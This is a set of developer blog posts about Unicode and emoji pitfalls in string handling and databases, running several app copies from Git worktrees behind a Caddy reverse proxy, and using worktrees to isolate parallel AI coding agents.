The need for communication and passing on knowledge is one of the most essential human traits. We have evolved from sign languages and cave paintings to using leaves and stones for the written word. We sped through the whole paper era (in a short couple of centuries ) and landed in the information age where everything went digital.

In the beginning, computers had a small vocabulary. We were so busy getting the word out about the internet, we had little time to consider if the word was understood. As the internet grew from a mostly English-speaking network into a place for the whole world, text had to evolve with it. Every step made online communication richer, but it also quietly broke another assumption programmers had made about what a “character” really is.

🧐 Are emojis modern day cave paintings?? 😯

ASCII (The Simple Days)

A = 65
B = 66
...
Z = 90

128 characters total. All English letters, numbers, basic punctuation. 7 bits. Life was simple.

🌎 Then the internet happened.

Unicode (The Complicated Now)

A = U+0041 (Latin Capital Letter A)
Á = U+00C1 (Latin Capital Letter A with Acute)
А = U+0410 (Cyrillic Capital Letter A)
Α = U+0391 (Greek Capital Letter Alpha)
𝐀 = U+1D400 (Mathematical Bold Capital A)

140,000+ characters. Multiple ways to represent the same thing. Combining characters. Emoji. Emoji with skin tones. Emoji combined with other emoji.

Unicode went from “character set” to “every written symbol in human history plus emoji”.

Chapter 2: The Many Ways Characters Lie About Their Size

Traditional knowledge tells us that the size of a string should be equal to the number of character you see in it. And traditionally all characters used to take a fixed 1 byte memory. So if i wanted to store a Name of 100 characters, I would allocate 100 length to my database column.
But unfortunately modern unicode breaks these assumption in many ways, most commonly due to the way the size of a character is calculated.

Size Lie #1: UTF-8 Variable Length

Single characters in print can often need more space to store.

'A'.length;        // 1 UTF-16 code unit (1 byte in UTF-8)
'€'.length;        // 1 UTF-16 code unit (3 bytes in UTF-8)
'💩'.length;       // 2 UTF-16 code units (4 bytes in UTF-8)

If you had a 100-byte limit thinking it should store 100 characters, what fits is actually:

• 100 ASCII characters ✅
• 33 Euro signs (3 bytes each)
• 25 emoji (4 bytes each)

Size Lie #2: Combined Characters

Sometime single characters may not be single characters at all. Depending on how you process them they can be of different lengths,

'é'.length;  // Could be 1 or 2!

// Option 1: Single character (NFC - composed)
'é' = U+00E9 (1 character)

// Option 2: Base + combining accent (NFD - decomposed)  
'e' + '́' = U+0065 + U+0301 (2 characters)

The characters look identical. But they’re different in memory. This also leads to an interesting comparison problem.
‘é’ === ‘é’ can sometimes be false! Which means your database indexes them as different values and your lookups fail mysteriously.

Usually most languages have an equivalent of normalise() function for strings. In that case ‘é’.normalize() === ‘é’.normalize() gives a True result.

Size Lie #3: Emoji Combiners

Emojis revolutionised the way humans communicate. However emojis follow an interesting composition pattern.

'👨‍👩‍👧‍👦'.length;  // 11

// Actually:
'👨' + ZWJ + '👩' + ZWJ + '👧' + ZWJ + '👦'
// Man + Zero Width Joiner + Woman + ZWJ + Girl + ZWJ + Boy
// = Family emoji (displays as 1)

Your JavaScript counter reports “This is 11 UTF-16 code units,” while the user sees just 1 emoji. Your validation thinks “That’s fine,” but a byte-limited field can reject it: this sequence is 25 UTF-8 bytes.

Chapter 3: Real-World Horror Stories

All this information is not just theoritical. It happens in production system day-in day-out. Below are some ways in which they can happen trivially.

Story 1: The Name That Broke Authentication

A user named José creates an account. Your system normalizes and stores it as “José” using NFC normalization. When José logs in the next day and types their name, their keyboard or input method produces the NFD normalized version: “José”. Your system tries to look up “José” in the database but finds nothing, because it’s searching for the NFD form against the stored NFC form. The user sees “Who’s José? I don’t know that user.”

NFD - Normalization Form Decomposed. Breaks characters into base character + combining marks. Example: é = e + ´ (separate bytes) NFC - Normalization Form Composed. Combines base character + marks into single precomposed character. Example: é = é (single byte)

Fix: Normalize all input before comparison

function normalizeText(str) {
  return str.normalize('NFC');
}

username === savedUsername  // ❌ Can fail
normalizeText(username) === normalizeText(savedUsername)  // ✅ Works

Story 2: The Email That Traveled Through Time

A User in Japan sends email with kanji characters.
Email server 1 (UTF-8): Passes it along fine
Email server 2 (ISO-8859-1): Can’t handle kanji, converts to ?
Email server 3 (UTF-8): Sees ? and assumes that’s the data
Recipient: Gets email full of ? characters

This is mojibake. Text corrupted by charset mismatches.

The fix: Always specify charset in Content-Type headers

Content-Type: text/html; charset=UTF-8

This is also one of the reasons why old smartphones could not render emojis in SMS and showed a string of ? or black boxed question marks.

Story 3: The Tweet That Was Too Long

On Twitter (I refuse to call it X! ), tweets are limited to 280 characters.

User tweets: “🏴󠁧󠁢󠁥󠁮󠁧󠁿🏴󠁧󠁢󠁳󠁣󠁴󠁿🏴󠁧󠁢󠁷󠁬󠁳󠁿 (3 flag emoji).
Intuition: “This is 3 characters”
Reality: This is 42 code points (14 per flag)

Result: The twitter character counter disagrees with you and shows you are using much more than 3 characters.

Platform reality: X uses its own weighted counting rules, not JavaScript’s built-in string length.

You can read about there actual computation on their developer site.

Grapheme clusters are the user-perceived characters. A single emoji flag (like 🏴󠁧󠁢󠁥󠁮󠁧󠁿) is one grapheme cluster even though it’s 14 code points. A code point is Unicode’s assigned number for a unit of text, such as a letter, emoji component, or invisible joiner.

Story 4: The Database Migration That Deleted Data

When migrating database, your primary focus is that tables should not get dropped, there should be no downtime, the columns should get mapped correctly. However managing migrations of character set has its own set of challengers.

Scenario: Migrating from MySQL with latin1 to utf8mb4

-- Old table
CREATE TABLE users (
  name VARCHAR(100) CHARACTER SET latin1
);

-- New table
CREATE TABLE users (
  name VARCHAR(100) CHARACTER SET utf8mb4
);

The trap:

• latin1: VARCHAR(100) stores up to 100 characters, using up to 100 bytes for the value
• utf8mb4: VARCHAR(100) still stores up to 100 characters, using up to 400 bytes for the value

But MySQL also has row and index-size limits, depending on the storage engine, row format, and indexes.

If you have 200 VARCHAR(100) columns:

• latin1: 200 × 100 = 20,000 bytes ✅
• utf8mb4: 200 × 400 = 80,000 bytes at the theoretical maximum

your migration could hit an engine-specific limit, or your data could get truncated if the migration is not planned carefully. The fix would usually be to reduce VARCHAR sizes or split across tables.

Story 5: The Search That Found Nothing

Since we are talking databses, searching for an existing value is often the most popular use case. Lets take an example.
User searches for: “café”
Database has: “cafe”, “café”, “café” (composed), “café” (decomposed)

Your search:

SELECT * FROM places WHERE name = 'café';

Results: DB would usually return only exact matches and misses variations which in this case you obviously wanted.

The fix: Normalize before storing, normalize before searching

-- PostgreSQL example
SELECT * FROM places WHERE unaccent(name) = unaccent('café');

Story 6: The URL That Broke Routing

Unicode also turns up in places where you assume some default behaviour. One of the common ways sites create persistent readable links is to have text in the URL path. However browsers have been built to handle unicode by default when routing.

User creates profile: https://site.com/users/José.
Browser URL-encodes: https://site.com/users/Jos%C3%A9

Your router:

app.get('/users/:name', (req, res) => {
  const user = getUser(req.params.name);
  // req.params.name is "Jos%C3%A9" or "José" depending on framework
});

Some frameworks would decode automatically but it is always good to check. Anyway, a better way to create permalinks is not to have user input in the URL.

The fix: Always use IDs in URLs, not names

// ❌  Bad
/users/José

// ✅ Good
/users/123

Chapter 4: The Emoji Special Cases

We talk about compositional emojis. However the composition itself has many different variation.

Skin Tone Modifiers

Emojis have additive modifiers. You take a base emoji and add an inflextion on it. This is how you get a hand wave sign in your own skin tone.

'👋'.length;      // 2 (base emoji)
'👋🏻'.length;     // 4 (base emoji + skin tone modifier)

Your emoji picker now shows 5 skin tone options. But in your database each takes different space. So beware of these additions.

Flags

Flags are a fun variation of composition. For example, If you look at the US flag emoji.

'🇺🇸'.length;     // 4

// Actually two "Regional Indicator" characters:
// U+1F1FA (Regional Indicator U) + U+1F1F8 (Regional Indicator S)
// = US flag

Your database may not recognize this as one flag
Your rendering might show “U” “S” instead of 🇺🇸

Gender and Profession Variations

Similar variations arise for gender and profession emojis.

'👨'              // Man
'👨‍⚕️'             // Man + ZWJ + Medical symbol = Male doctor
'👩‍⚕️'             // Woman + ZWJ + Medical symbol = Female doctor
'🧑‍⚕️'             // Person + ZWJ + Medical symbol = Doctor (gender neutral)

Each variation has a different byte count

Chapter 5: The Database Encoding Trap

I have spent years working with databases without caring about caracter sets. In most case, databases come with good defaults, or their onboarding guides give examples of most defensive settings. However it is good to know how they affect storage in the context of what we discussed thus far.

MySQL Character Sets (A History of Mistakes)

latin1 (default for ancient MySQL)

• 1 byte per character
• Only Western European languages
• Can’t store emoji

utf8 (MySQL’s version, not real UTF-8)

• Max 3 bytes per character
• Can store most characters
• Cannot store emoji (emoji need 4 bytes)

utf8mb4 (actual UTF-8)

• Max 4 bytes per character
• Can store emoji
• This is what you want

The trap:

-- Your table uses default charset (latin1)
CREATE TABLE users (name VARCHAR(100));

-- User tries to save emoji
INSERT INTO users (name) VALUES ('Alice 😀');

-- MySQL:
-- ❌ Error: Incorrect string value
-- OR
-- ⚠️ Silently truncates emoji

The fix:

-- Specify utf8mb4 explicitly
CREATE TABLE users (
  name VARCHAR(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci
);

-- Or set database default
ALTER DATABASE mydb CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;

PostgreSQL (Mostly Gets It Right)

PostgreSQL uses UTF-8 by default. Emoji just work. But CHAR(n) is still usually the wrong type for user input:

CREATE TABLE users (name CHAR(10));
INSERT INTO users (name) VALUES ('Hello 👋');

-- This fits, but CHAR pads values with spaces.

The fix: Use VARCHAR(n) when you need a character limit, or TEXT when you do not. Avoid CHAR(n) for variable-length user input.

Chapter 6: The Application Layer Traps

We talked a lot about database level storage till now. However at some point you also have to show the stored text to the users, or atlest process it somehow in your application code. There are many traps there as well.

Trap 1: String Length Validation

// User enters: "Hello 👨‍👩‍👧‍👦"
const input = "Hello 👨‍👩‍👧‍👦";

// Wrong
if (input.length > 20) {
  throw new Error('Too long');
}
// input.length = 17 (11 for emoji + 6 for "Hello ")

// Right
const segmenter = new Intl.Segmenter('en', { granularity: 'grapheme' });
const graphemes = Array.from(segmenter.segment(input));
if (graphemes.length > 20) {
  throw new Error('Too long');
}
// graphemes.length = 7 (1 for emoji + 6 for "Hello ")

The choice of using graphemes or actual char count depends on how you want to impose limits on user input.

Trap 2: Substring Operations

If we are having trouble deterministically finding how long a string is, it falls to reason that splitting it would also be hard.

const text = "Hello 👨‍👩‍👧‍👦 World";

// Wrong
text.substring(0, 10);  // "Hello 👨‍�" (cuts emoji in half!)

The solution usually is to use grapheme-aware libraries or avoid substring with emoji 😜

Trap 3: Regex Matching

Regex match is string processing final boss. If you thought splitting string was hard, matching it against a pattern can be a whole new box of wonders. s

// Match any single character
const regex = /^.$/;

'A'.match(regex);           // ✅ Match
'💩'.match(regex);          // ❌ No match (2 UTF-16 units)
'👨‍👩‍👧‍👦'.match(regex);      // ❌ No match (11 UTF-16 units)

// Better
const regex = /^.$/u;  // Unicode flag
'💩'.match(regex);          // ✅ Match

// But still won't match combined emoji
'👨‍👩‍👧‍👦'.match(regex);      // ❌ Still no match

Chapter 7: The Fixes

Despite all the above, the world continues to communicate in emojis, accented characters, regional languages; So there must be some way all of it continues to work. Here are some tips.

Fix 1: Use UTF-8 Everywhere

Database: utf8mb4.
API responses: Content-Type: application/json; charset=UTF-8.
HTML: <meta charset="UTF-8">
Files: Save as UTF-8.
Environment: Set LANG=en_US.UTF-8.

Fix 2: Normalize User Input

function normalizeInput(str) {
  return str
    .normalize('NFC') // Normalize to composed form
    .trim(); // Remove whitespace
}

Fix 3: Count Graphemes, Not Code Points

function countGraphemes(str) {
  const segmenter = new Intl.Segmenter('en', { granularity: 'grapheme' });
  return Array.from(segmenter.segment(str)).length;
}

Fix 4: Validate Before Storing

function validateText(str, maxGraphemes, maxBytes) {
  const graphemes = countGraphemes(str);
  const bytes = new TextEncoder().encode(str).length;
  
  if (graphemes > maxGraphemes) {
    throw new Error(`Too many characters (max ${maxGraphemes})`);
  }
  
  if (bytes > maxBytes) {
    throw new Error('Text too long in bytes');
  }
}

Fix 5: Use TEXT Columns, Not VARCHAR

-- Instead of guessing VARCHAR size
CREATE TABLE posts (
  content VARCHAR(10000)  -- Might not be enough for emoji-heavy text
);

-- Use TEXT when there is no application-level character limit
CREATE TABLE posts (
  content TEXT
);

In PostgreSQL, TEXT and VARCHAR have the same storage characteristics; VARCHAR(n) adds a character limit.

Fix 6: Test With Emoji

// Add these to your test suite
const testStrings = [
  'Simple ASCII',
  'Café',                    // Accented characters
  'Hello 世界',              // CJK characters
  'مرحبا',                   // RTL text
  'Hello 👋',               // Basic emoji
  '👨‍👩‍👧‍👦',                    // Combined emoji
  '🏴󠁧󠁢󠁥󠁮󠁧󠁿',                        // Flag emoji
  '👋🏻👋🏿',                   // Emoji with skin tones
  'ℌ𝔢𝔩𝔩𝔬',                // Mathematical alphanumeric symbols
];

Key Takeaways

1. Use UTF-8 (utf8mb4 in MySQL) everywhere - No exceptions
2. Normalize text on input - NFC is usually the right choice
3. Count graphemes, not code points - Use Intl.Segmenter
4. Test with emoji - They will break your assumptions
5. Never use CHAR for user input - Use VARCHAR or TEXT
6. Validate both length and byte size - They’re different
7. Normalize before comparing - ‘é’ has multiple representations
8. Don’t use names in URLs - Use IDs instead

Conclusion

Unicode is humanity’s attempt to represent every written symbol in a computer. Emoji are humanity’s attempt to communicate without words. Together, they create a perfect storm of edge cases.

Remember: If your system can’t handle 💩, it’s not ready for production.

📚 Companion post: Git Worktrees for Agentic Development explains why worktrees are useful when people or coding agents work on several branches at once.

Most local development setups assume that only one copy of the application is running. The frontend always uses one port, the API always uses another, and every branch connects to the same local database. That assumption is invisible while you work on one branch at a time.

Git worktrees change the equation. They give each branch a separate directory, but they do not isolate anything the application uses at runtime. Start the app from a second worktree and both copies compete for the same ports. Change one copy to use different ports and its frontend still needs to find the matching API. Even after both copies start, they can write to the same database.

This is more than inconvenient bookkeeping. You can open the frontend from one branch while it silently calls the API from another, or test a data change against records created by a different worktree. Two developers or coding agents can interfere with each other even though their source files are isolated.

What we want is one independently addressable application copy per worktree, with isolated data, without starting another copy of every heavyweight dependency.

This post builds that model with development slots and Caddy. A slot is a name for one running copy of the application and its data boundary. The sample derives that name from the current Git branch, so each worktree naturally gets its own slot. Caddy acts as a shared reverse proxy, giving every slot stable URLs while its frontend and API run on separate high-numbered ports. You can also provide a slot name explicitly.

Each slot gets:

• A stable frontend URL such as http://feature-search.multi-agent-wt.localhost:8088.
• A stable API URL such as http://api-feature-search.multi-agent-wt.localhost:8088.
• Its own frontend and API ports behind those URLs.
• Its own Cosmos DB database, such as multi-agent-wt-feature-search.

All slots share one Caddy proxy and one Cosmos DB emulator.

🧪 Try the complete sample

The working sample is in MultiAgentWorktrees. It contains a React frontend, a .NET API, Docker Compose infrastructure, and the slot script used in this post.

You need:

• Docker Desktop or Docker Engine with Compose
• .NET 10 SDK
• Node.js and pnpm
• Bash and curl (macOS, Linux, or WSL for multi-slot mode)

From the sample directory, run:

./start-multislot.sh infra-up
./start-multislot.sh up

The first command starts the shared Cosmos DB emulator and Caddy. The second command:

1. Gets the slot name from your current git branch.
2. Assigns stable frontend and API ports.
3. Chooses a database name for the slot; the API creates it on startup.
4. Starts the API and frontend.
5. Adds both hostnames to Caddy.

On the main branch, it prints:

Slot 'main' is ready.
  Frontend: http://main.multi-agent-wt.localhost:8088
  API:      http://api-main.multi-agent-wt.localhost:8088
  Database: multi-agent-wt-main
  Logs:     /Users/you/.config/multi-agent-wt/slots/main

Open the frontend URL and add a note. That note is stored only in this slot’s database.

If you are not in a git branch, or want a specific name, pass one:

./start-multislot.sh up demo

That is the entire daily startup flow.

🌿 Run a second branch

Create a worktree from your main clone:

git worktree add ../samples-feature-search -b feature/search

Enter that worktree and start its slot:

cd ../samples-feature-search/MultiAgentWorktrees
./start-multislot.sh up

Now both copies run at the same time:

Adding a note in one frontend does not make it appear in the other.

🧭 How the pieces fit together

At a high level, Caddy sends each hostname to the matching slot. Each slot has its own frontend, API, and database name, while the proxy and database server are shared.

flowchart TB
  Browser[Browser] --> Caddy[Caddy reverse proxy<br/>shared entry point on port 8088]
  Caddy -->|main hostname| Main[main slot<br/>Vite + .NET API]
  Caddy -->|feature hostname| Feature[feature slot<br/>Vite + .NET API]
  Main -->|multi-agent-wt-main| Cosmos[(Shared Cosmos emulator)]
  Feature -->|multi-agent-wt-feature-search| Cosmos

  classDef client fill:#e8f1fb,stroke:#2463a2,color:#102a43,stroke-width:2px
  classDef proxy fill:#fff3cd,stroke:#9a6700,color:#4d3500,stroke-width:2px
  classDef mainSlot fill:#e6f4ea,stroke:#287d3c,color:#163d22,stroke-width:2px
  classDef featureSlot fill:#fce8e6,stroke:#b4473a,color:#5f2019,stroke-width:2px
  classDef data fill:#f3e8ff,stroke:#7b3fa1,color:#3d2053,stroke-width:2px

  class Browser client
  class Caddy proxy
  class Main mainSlot
  class Feature featureSlot
  class Cosmos data

Here are the request routes in more detail:

flowchart LR
  Browser[Browser]

  subgraph Docker[Shared Docker infrastructure]
    Caddy[Caddy reverse proxy<br/>port 8088]
    Cosmos[(Cosmos DB emulator)]
  end

  subgraph Main[main slot]
    MainUI[Vite<br/>host port 4xxxx]
    MainAPI[.NET API<br/>host port 2xxxx]
  end

  subgraph Feature[feature-search slot]
    FeatureUI[Vite<br/>host port 4yyyy]
    FeatureAPI[.NET API<br/>host port 2yyyy]
  end

  Browser -->|main.multi-agent-wt.localhost:8088| Caddy
  Browser -->|api-main.multi-agent-wt.localhost:8088| Caddy
  Browser -->|feature-search.multi-agent-wt.localhost:8088| Caddy
  Browser -->|api-feature-search.multi-agent-wt.localhost:8088| Caddy
  Caddy --> MainUI
  Caddy --> MainAPI
  Caddy --> FeatureUI
  Caddy --> FeatureAPI
  MainAPI -->|database: multi-agent-wt-main| Cosmos
  FeatureAPI -->|database: multi-agent-wt-feature-search| Cosmos

  classDef client fill:#e8f1fb,stroke:#2463a2,color:#102a43,stroke-width:2px
  classDef proxy fill:#fff3cd,stroke:#9a6700,color:#4d3500,stroke-width:2px
  classDef mainSlot fill:#e6f4ea,stroke:#287d3c,color:#163d22,stroke-width:2px
  classDef featureSlot fill:#fce8e6,stroke:#b4473a,color:#5f2019,stroke-width:2px
  classDef data fill:#f3e8ff,stroke:#7b3fa1,color:#3d2053,stroke-width:2px

  class Browser client
  class Caddy proxy
  class MainUI,MainAPI mainSlot
  class FeatureUI,FeatureAPI featureSlot
  class Cosmos data

  style Docker fill:#fffaf0,stroke:#9a6700,stroke-width:2px
  style Main fill:#f3faf5,stroke:#287d3c,stroke-width:2px
  style Feature fill:#fff5f3,stroke:#b4473a,stroke-width:2px

There are two kinds of resources:

🏗️ Shared infrastructure, started once:

• Caddy listens on port 8088 and routes requests by hostname.
• The Cosmos DB emulator listens on port 8081 and hosts many databases.

📦 Per-slot processes, started in each worktree:

• One Vite dev server.
• One .NET API process.
• One Cosmos database name.

🔀 What Caddy and a reverse proxy do

A proxy receives a request on behalf of another server. A reverse proxy sits in front of application servers: the browser connects to the proxy, and the proxy chooses which application process should receive the request. The application port stays hidden behind the proxy’s stable address.

In this sample, Caddy is the reverse proxy. Every frontend and API URL reaches Caddy on port 8088. Caddy reads the HTTP Host header, matches it against a route, and forwards the request to the corresponding process running on a high-numbered host port. The response returns through Caddy to the browser.

Caddy only handles routing. The worktree isolates source files, while the slot script starts the processes and chooses a database name.

🌐 Why the local hostnames work

Names ending in .localhost resolve to the loopback address in modern browsers. You do not need to add every slot to /etc/hosts.

Caddy receives all traffic on port 8088. It uses the request hostname to choose an upstream:

http://feature-search.multi-agent-wt.localhost:8088 {
	reverse_proxy host.docker.internal:40123
}

http://api-feature-search.multi-agent-wt.localhost:8088 {
	reverse_proxy host.docker.internal:20123
}

The actual port numbers do not matter to the person using the app. Caddy hides them behind readable, predictable URLs.

The Caddy container reaches host-run processes through host.docker.internal. The Compose file adds a host-gateway mapping for Docker Engine on Linux; Docker Desktop provides the same hostname on macOS and Windows.

The browser calls the frontend hostname to load the UI. The frontend then calls its own API hostname, which also goes through Caddy. Caddy does not forward traffic to Cosmos DB: each API connects directly to the shared emulator.

🔒 Why the data stays isolated

Running one Cosmos emulator per worktree would use unnecessary memory. Instead, every API connects to the same endpoint but uses a different database name:

Cosmos__Endpoint="https://localhost:8081"
Cosmos__Database="multi-agent-wt-feature-search"

.NET maps the double underscore in Cosmos__Database to the configuration key Cosmos:Database.

The sample API uses the current Linux-based Cosmos DB emulator image in HTTPS mode:

cosmos:
  image: mcr.microsoft.com/cosmosdb/linux/azure-cosmos-emulator:vnext-latest
  command: ["--protocol", "https"]
  ports:
    - "8080:8080" # readiness endpoint
    - "8081:8081" # Cosmos endpoint
    - "1234:1234" # Data Explorer

The vNext emulator supports the API for NoSQL in gateway mode, so the .NET client sets it explicitly:

var cosmos = new CosmosClient(endpoint, key, new CosmosClientOptions
{
    ConnectionMode = ConnectionMode.Gateway,
    ServerCertificateCustomValidationCallback = (_, _, _) => true,
});

The certificate bypass is for the local emulator only. Do not use it with a production Cosmos DB account.

🗂️ What the slot script records

Each slot has a small state directory under ~/.config/multi-agent-wt/slots:

~/.config/multi-agent-wt/slots/feature-search/
├── env
├── Caddyfile
├── api.pid
├── api.log
├── frontend.pid
└── frontend.log

The script lowercases the slot name and replaces non-alphanumeric runs with hyphens. It then hashes that sanitized name into a stable numeric offset, adds the offset to base ports 20000 and 40000, and checks known slots and listening ports for a collision before starting anything.

The script injects the matching API URL into the Vite process:

VITE_API_BASE=http://api-feature-search.multi-agent-wt.localhost:8088

Vite listens on all host interfaces so Caddy’s container can reach it:

pnpm exec vite --host 0.0.0.0 --port "$frontend_port" --strictPort

You do not need to copy the full orchestration script from this article. Use the tested start-multislot.sh from the sample.

🚀 What happens when a slot starts

Starting a slot does five things:

1. Pick a name and two free ports for the slot.
2. Start the API and create the slot’s database if needed.
3. Start the frontend and point it to the slot’s API.
4. Tell Caddy which URLs belong to the new slot.
5. Check that the frontend and API work. If they do not, stop the slot and remove its Caddy routes.

Caddy and the Cosmos emulator are already running. A new slot adds only a frontend, an API, a database name, and two Caddy routes.

sequenceDiagram
    actor Developer
    participant Script as start-multislot.sh
    participant API as .NET API
    participant UI as Vite
    participant Caddy
    participant Cosmos as Cosmos emulator

    rect rgb(232, 241, 251)
    Developer->>Script: up feature-search
    Script->>Script: clean name and pick ports
    end
    rect rgb(230, 244, 234)
    Script->>API: start with its database name
    API->>Cosmos: create database if needed
    Script->>UI: start with the matching API URL
    end
    rect rgb(255, 243, 205)
    Script->>Caddy: add routes and reload
    Script->>Caddy: open API and frontend URLs
    Caddy->>API: check API health
    Caddy->>UI: check frontend
    Script-->>Developer: show URLs and database name
    end

🛑 Stop and inspect slots

List all known slots:

./start-multislot.sh status

Stop only the current branch’s slot:

./start-multislot.sh down

Stop a named slot:

./start-multislot.sh down feature-search

When no slots remain, stop shared infrastructure:

./start-multislot.sh infra-down

The script refuses to stop shared infrastructure while known slots still exist. Normal shutdown also preserves the Cosmos Docker volume, so your local data survives a restart.

♻️ The pattern to reuse

You can adapt the sample to another project by changing four things:

1. Replace multi-agent-wt.localhost with your local domain.
2. Replace the commands that start the frontend and API.
3. Pass a slot-specific database, schema, or tenant name to your backend.
4. Keep shared services in the infrastructure Compose file and lightweight app processes per slot.

The important idea is not the exact script. It is the separation of concerns:

• Git worktrees isolate files and branches.
• Caddy gives changing processes stable names.
• Per-slot database names isolate data.
• Shared infrastructure keeps the setup light enough to run many copies.

With those boundaries in place, running another branch becomes one command instead of another round of port and configuration bookkeeping.

✅ Prerequisites for adapting this pattern

The orchestration script cannot create isolation if the application has fixed addresses or hidden shared state. Before applying this pattern to another project, make sure it supports the following capabilities.

⚙️ Runtime configuration

The frontend must read its API base URL from configuration rather than embedding it in the source. The backend must do the same for its database endpoint, credentials, and database name. In this sample, the relevant values are:

VITE_API_BASE=http://api-feature-search.multi-agent-wt.localhost:8088
Cosmos__Endpoint=https://localhost:8081
Cosmos__Database=multi-agent-wt-feature-search

The frontend and API must also accept a port at startup. Each slot needs different listening ports, even though Caddy hides those ports from the browser.

🧱 A per-slot data boundary

The shared data service must provide a namespace that can be selected through configuration. That boundary is a Cosmos database in this sample, but it could be a PostgreSQL database or schema, a storage prefix, or a tenant identifier. Every read, write, migration, and background job must use the selected namespace; one hard-coded database or globally shared queue can break slot isolation.

🗄️ Repeatable database creation and migration

A new slot starts with a new database name, so the application needs an initialization path. The sample API uses CreateDatabaseIfNotExistsAsync and CreateContainerIfNotExistsAsync during startup. A larger application might run a separate provisioning or migration command instead.

Whichever approach you use, it should:

• Accept the slot-specific database or schema name as input.
• Be idempotent, so restarting a slot is safe.
• Apply all schema migrations required by the branch being started.
• Fail before the slot is advertised as ready if provisioning does not succeed.

Be deliberate about incompatible migrations. Slots isolate database names, but they still share the same database server or emulator version.

🔌 Reachable services and allowed origins

Caddy must be able to reach the frontend and API processes. In the sample they bind to 0.0.0.0 because Caddy runs in Docker and connects through host.docker.internal. If Caddy runs directly on the host, binding to loopback may be enough.

The API must also allow requests from each slot’s frontend origin. The sample allows every CORS origin for local development. A real project should generate an allowlist or safely validate the local slot domain instead of carrying that permissive policy into production.

🩺 Readiness and lifecycle commands

The slot manager needs a lightweight API health endpoint and a frontend URL it can probe before it reports success. It also needs reliable commands for starting and stopping both processes, plus a place to record their PIDs, logs, assigned ports, and proxy routes.

Finally, decide what down means for data. This sample stops the processes and removes the Caddy route but preserves the slot’s Cosmos database. Projects that need disposable slots should add an explicit database cleanup command rather than deleting data as a side effect of ordinary shutdown.

🏁 Conclusion

Remember the last time you switched branches mid-feature, forgot to change a port, and spent twenty minutes wondering why your “new” UI was showing old data? That was not a skill issue. That was an invisible assumption biting you. Fix it for yourslef and your agents today 😎

Most development workflows assume that one developer is doing one thing at a time: check out a branch, make changes, run tests, commit, and move on. In that model, one working directory is plenty.

AI coding agents break that assumption. The whole point of an agent is that you can run many at once: one fixing a bug, one writing tests, one refactoring a module, one exploring a risky idea you’re not sure about. Suddenly, the working directory becomes a shared resource, and the obvious workarounds start to break down:

• Sharing one checkout — agents overwrite each other’s uncommitted files. Agent A’s half-finished refactor corrupts Agent B’s test run. git checkout by one agent yanks the ground out from under another.
• Full git clone per agent — every clone re-downloads the entire history. For a large repo that can mean gigabytes and minutes per agent, plus multiple copies of .git consuming disk.
• Stash juggling — git stash to swap contexts is fragile, serial, and impossible to parallelize.

What agents actually need is isolation without duplication: many independent working directories that don’t interfere, but that share one history so branches, commits, and fetches are instant and cheap.

Branches alone do not solve this. A branch identifies an independent line of history, but creating one does not create another working directory. For that, each agent needs a worktree of its own.

That primitive already ships with Git. It is called a worktree.

What a worktree actually is

git worktree lets one repository have multiple working directories checked out at the same time, each on its own branch, all backed by a single shared .git object store.

# In your main clone (on `main`):
git worktree add -b feature/search ../repo-agent-a main
git worktree add -b bugfix/crash ../repo-agent-b main
git worktree add -b chore/deps ../repo-agent-c main

You now have four directories on disk:

~/code/repo              (main)              ← the primary worktree
~/code/repo-agent-a      (feature/search)
~/code/repo-agent-b      (bugfix/crash)
~/code/repo-agent-c      (chore/deps)

Each directory has its own working files, index, and HEAD. But there is only one copy of the repository’s history: the objects, refs, and packfiles are shared through the repository’s common Git directory. Creating a worktree does not re-download or duplicate that history, so it is typically fast even for a large repository.

The result is the useful combination: shared history, independent files. That is exactly the isolation parallel agents need.

Why worktrees fit agentic development so well

1. True parallelism with no cross-talk

Each agent operates in its own directory. Agent A can run a failing build, rewrite ten files, and run tests — while Agent B does something completely different — and neither sees the other’s uncommitted work. No lockstep, no “please wait, someone else is building.”

2. Cheap to create and destroy

Because history is shared, spinning up a worktree is near-instant and costs only the checked-out files, not another copy of .git. That makes worktrees disposable: create one per task, throw it away when the task merges. Perfect for an orchestrator that launches and reaps agents on demand.

git worktree add ../repo-task-1234 -b agent/task-1234   # create + new branch in one step
# ... agent works, commits, opens a PR ...
git worktree remove ../repo-task-1234                    # reap when done

3. One branch per agent, enforced by construction

Git refuses to check out the same branch in two worktrees at once. That guardrail maps perfectly onto “one agent owns one branch”: you literally cannot have two agents accidentally sharing a branch’s working state.

4. Instant context switching for the orchestrator

A supervising process (or a human reviewing agent output) can cd between worktrees to inspect each agent’s in-progress state, run its tests, or diff its changes — without disturbing any agent. No stashing, no branch swapping, no rebuild-from-scratch.

5. Shared fetches and reusable caches

git fetch in any worktree updates the shared object store, so every worktree sees new upstream commits without separate downloads. Dependency directories remain independent, but package-manager caches can also be shared across worktrees. Together, those two choices keep new agent workspaces cheap to start.

Sharp edges (and how to handle them)

Worktrees are powerful but a few things surprise newcomers:

• A branch can only be checked out in one worktree. This is a feature, not a bug — it prevents two agents from corrupting the same branch. If you need two views of one branch, create a second branch from it (git worktree add ../view -b copy-of-x x) or use a detached checkout (git worktree add --detach ../view x).
• Untracked files are NOT shared. node_modules, build outputs, .env files, and other gitignored artifacts exist independently in each worktree. Each agent must install dependencies and generate build artifacts in its own directory — or you point them at a shared cache (package-manager stores, NuGet, Go, or pip caches, for example) to avoid downloading everything again.
• Reap orphaned worktrees. If a directory is deleted without git worktree remove, Git keeps a dangling administrative record. Run git worktree prune (or git worktree remove --force) periodically. git worktree list shows everything currently registered.
• Submodules need care. Repos with submodules require git worktree add plus submodule init inside each worktree; plan for it if you use them.
• Long-lived worktrees drift. Fetch and rebase/merge in each worktree just like any branch; the shared object store means the fetch is cheap, but the merge is still per-worktree work.

git worktree list           # see all worktrees and their branches
git worktree prune          # clean up records for manually-deleted worktrees
git worktree remove <path>  # the correct way to delete a worktree

Where this leads: worktrees + running apps

Worktrees isolate source code, but running several copies of an app introduces a second set of collisions: ports, databases, and configuration. The companion post covers that runtime layer by giving each worktree its own running instance: Running Many Copies of Your App at Once: Git Worktrees + Caddy.

Wrapping up

For agentic development, git worktree is the quiet workhorse:

1. Isolation without duplication — many working directories, one shared history.
2. Cheap and disposable — spawn a worktree per task, reap it on merge.
3. Safe by construction — one branch per worktree keeps agents from corrupting each other.
4. Orchestrator-friendly — inspect, test, and diff any agent’s state without disturbing it.

The important shift is simple: stop treating the repository checkout as shared agent infrastructure. Give every agent its own worktree, and parallel development becomes a set of independent, reproducible workspaces.

